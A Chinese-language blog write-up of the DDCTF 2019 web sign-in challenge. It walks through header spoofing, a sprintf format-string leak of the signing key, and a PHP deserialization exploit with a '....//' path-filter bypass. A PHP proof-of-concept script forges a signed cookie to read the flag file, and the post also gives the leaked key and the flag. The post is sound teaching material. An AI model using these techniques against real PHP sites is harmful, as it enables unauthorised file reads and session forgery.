美文网首页
Web签到题 WriteUp

Web签到题 WriteUp

作者: IvenWings | 来源:发表于2019-08-09 15:29 被阅读0次

    url: http://117.51.158.44/index.php

    打开界面,提示:


    1.png

    按f12,查看Request包,发现存在Auth().php,还有didictf_username,我们抓包或者设置请求头,令didictf_username:admin,即可进入下一个界面:


    2.png

    出现了一个url,访问url,得到代码:

    url: app/Application.php
    Class Application {
       var $path = '';
       public function response($data, $errMsg = 'success') {
       $ret = ['errMsg' => $errMsg,
       'data' => $data];
       $ret = json_encode($ret);
       header('Content-type: application/json');
       echo $ret;
     }
    public function auth() {
       $DIDICTF_ADMIN = 'admin';
       if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
           $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
           return TRUE;
       }else{
           $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
       exit();
       }
     }
    private function sanitizepath($path) {
       $path = trim($path);
       $path=str_replace('../','',$path);
       $path=str_replace('..\\','',$path);
       return $path;
    }
    public function __destruct() {
       if(empty($this->path)) {
           exit();
       }else{
           $path = $this->sanitizepath($this->path);
           if(strlen($path) !== 18) {
               exit();
           }
           $this->response($data=file_get_contents($path),'Congratulations');
       }
       exit();
    }
    
    url:app/Session.php
    include 'Application.php';
    class Session extends Application {
     //key建议为8位字符串
       var $eancrykey                    = '';
       var $cookie_expiration            = 7200;
       var $cookie_name                  = 'ddctf_id';
       var $cookie_path                  = '';
       var $cookie_domain                = '';
       var $cookie_secure                = FALSE;
       var $activity                     = "DiDiCTF";
    public function index() {
        if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
            $data = 'DiDI Welcome you %s';
            $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
            parent::response($data,'sucess');
        }else{
            $this->session_create();
            $data = 'DiDI Welcome you';
            parent::response($data,'sucess');
        }
    }
    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }
    public function session_read() {
        if(empty($_COOKIE)) {                               //判断cookie是否为空
            return FALSE;
        }
        $session = $_COOKIE[$this->cookie_name];    // session取cookie里的cookie_name的值
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);       //hash取session的后32位
        $session = substr($session,0,strlen($session)-32);  //session取session的其余位
        if($hash !== md5($this->eancrykey.$session)) {      //hash 要等于 eancrykey + session 的md5值
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session); 
        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }   //session反序列化后是数组,且session_id, ip_address, user_agent不得为空
        if(!empty($_POST["nickname"])) {    //post的nickname不得为空 
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
         }
        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;
    }
    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }
        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );
        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );
      }
    }
    $ddctf = new Session();
    $ddctf->index();
    

    接下来的工作就是代码审计了,通过第一段代码我们可以知道的点有:

    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }
    //这里有一个替换的函数,用来替换变量$path里的'../'和'..\'字段,猜测是个过滤,之后会用到</pre>
    

    其次是析构函数

    $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
             exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
        //全部代码就这一个读文件的,并且$path长度一定要位18位
        //***file_get_contents()函数可能存在任意文件读取漏洞***
        //这里直接读取就可以
    

    这些后面可能会有用处,先访问一下网页:


    3.png

    然后来看代码

    $ddctf = new Session();
    $ddctf->index();
    //我们把代码拉到底可以看到先new了一个Session类,然后执行index()函数</pre>
    

    我们先来阅读index()函数:

    public function index(){
        if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }
    }
    //第一步首先是认证,这个我们已经绕过了,接下来就是get_key()
    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }
    

    并且这里提示了,key的文件路径和flag是一样的,也就是在同一个文件夹config下,我们接着看最重要的两个函数session_read()session_create()session_create 会对一个数组的类型的数据进行序列化并签名, session_read会根据签名验证序列化的数据是否被篡改,如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目,可利用的魔术方法是Application.php 中的 destruct ,这个类对应的对象在析构的时候会去文件内容并返回。

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }
        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),  //设置session_id
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );
        $cookiedata = serialize($userdata);//反序列化变量$userdata
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        //md5加盐
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );
    }
    

    先看create函数,大概意思就是说没有设置session_id的时候我们就创建一个,然后我们抓包把这个参数记下来,然后设置在请求头里。


    4.png

    可以看到这个是反序列化+一段md5,我们设置在cookie里访问,可以看到网页输出了一段内容,我们定位代码大概运行到了index()里进行session_read()验证通过后的输出


    5.png

    但是我们想要在析构函数里面读出flag文件的内容,就要给path赋值,所以我们就要给反序列化那里加个path变量,但是这样就改变了反序列化加盐的MD5值,因此我们要知道$eancrykey的值,这里有一个考点,就是sprintf,可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey时候,就无法输出$this->eancrykey直接传入%s作为nickname变量的值,这样就能够将遍历到$this->eancrykey的值拼接到data并通过父类response()函数输出。拿到this->eancrykey的值就可以随便构造Cookie。

    知识点:
    当输入一个nickname时,会输出Welcome my friend $nickname,但因使用sprintf函数,存在格式化字符串操作,所以输入%s会输出config/key.txt,注意修改content-type。之后可以使用这个key伪造ddctf_id,格式为key+ser+md5(key+ser),并且Session.php包含了appication.php所以可以直接伪造application

    接着我们post出一个参数nickname=iven%s

    6.png

    我们可以看到盐值出来了,我们这下就可以直接构造cookie了,直接写php脚本:

    <?php
        class Application{
            var $path = '....//config/flag.txt'; //因为替换了../,所以我们这里进行双写绕过,不足18字符部分,使用.和/补充
        }
        $poc = new Application();
        $enc = 'EzblrbNS';
        $data = serialize($poc);
        echo $data."\n"; // O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}
        echo urlencode($data)."\n";
        echo md5($enc.$data);
    ?>
    

    不过此处要注意的是Content-Type:字段值是否为:application/x-www-form-urlencoded,在cookie里也看见经过了url编码,为了以防万一我们也编码一下,将cookie设置好之后再访问,得到flag。

    7.png

    DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

    考点:

    1\. 修改请求头为admin
    2\. 路径path的绕过,`../`和`..\`被过滤掉,采用双写..././等绕过
    3\. 定位函数file_get_contents($path),是php常见的漏洞函数,需加注意,这题用来读flag
    4\. sprintf(), 存在格式化字符串操作,nickname的值把%s占位符替代之后,循环到`$this->eancrykey`时候,就无法输出`$this->eancrykey`直接传入`%s`作为nickname变量的值<
    

    相关文章

      网友评论

          本文标题:Web签到题 WriteUp

          本文链接:https://www.haomeiwen.com/subject/uxlhjctx.html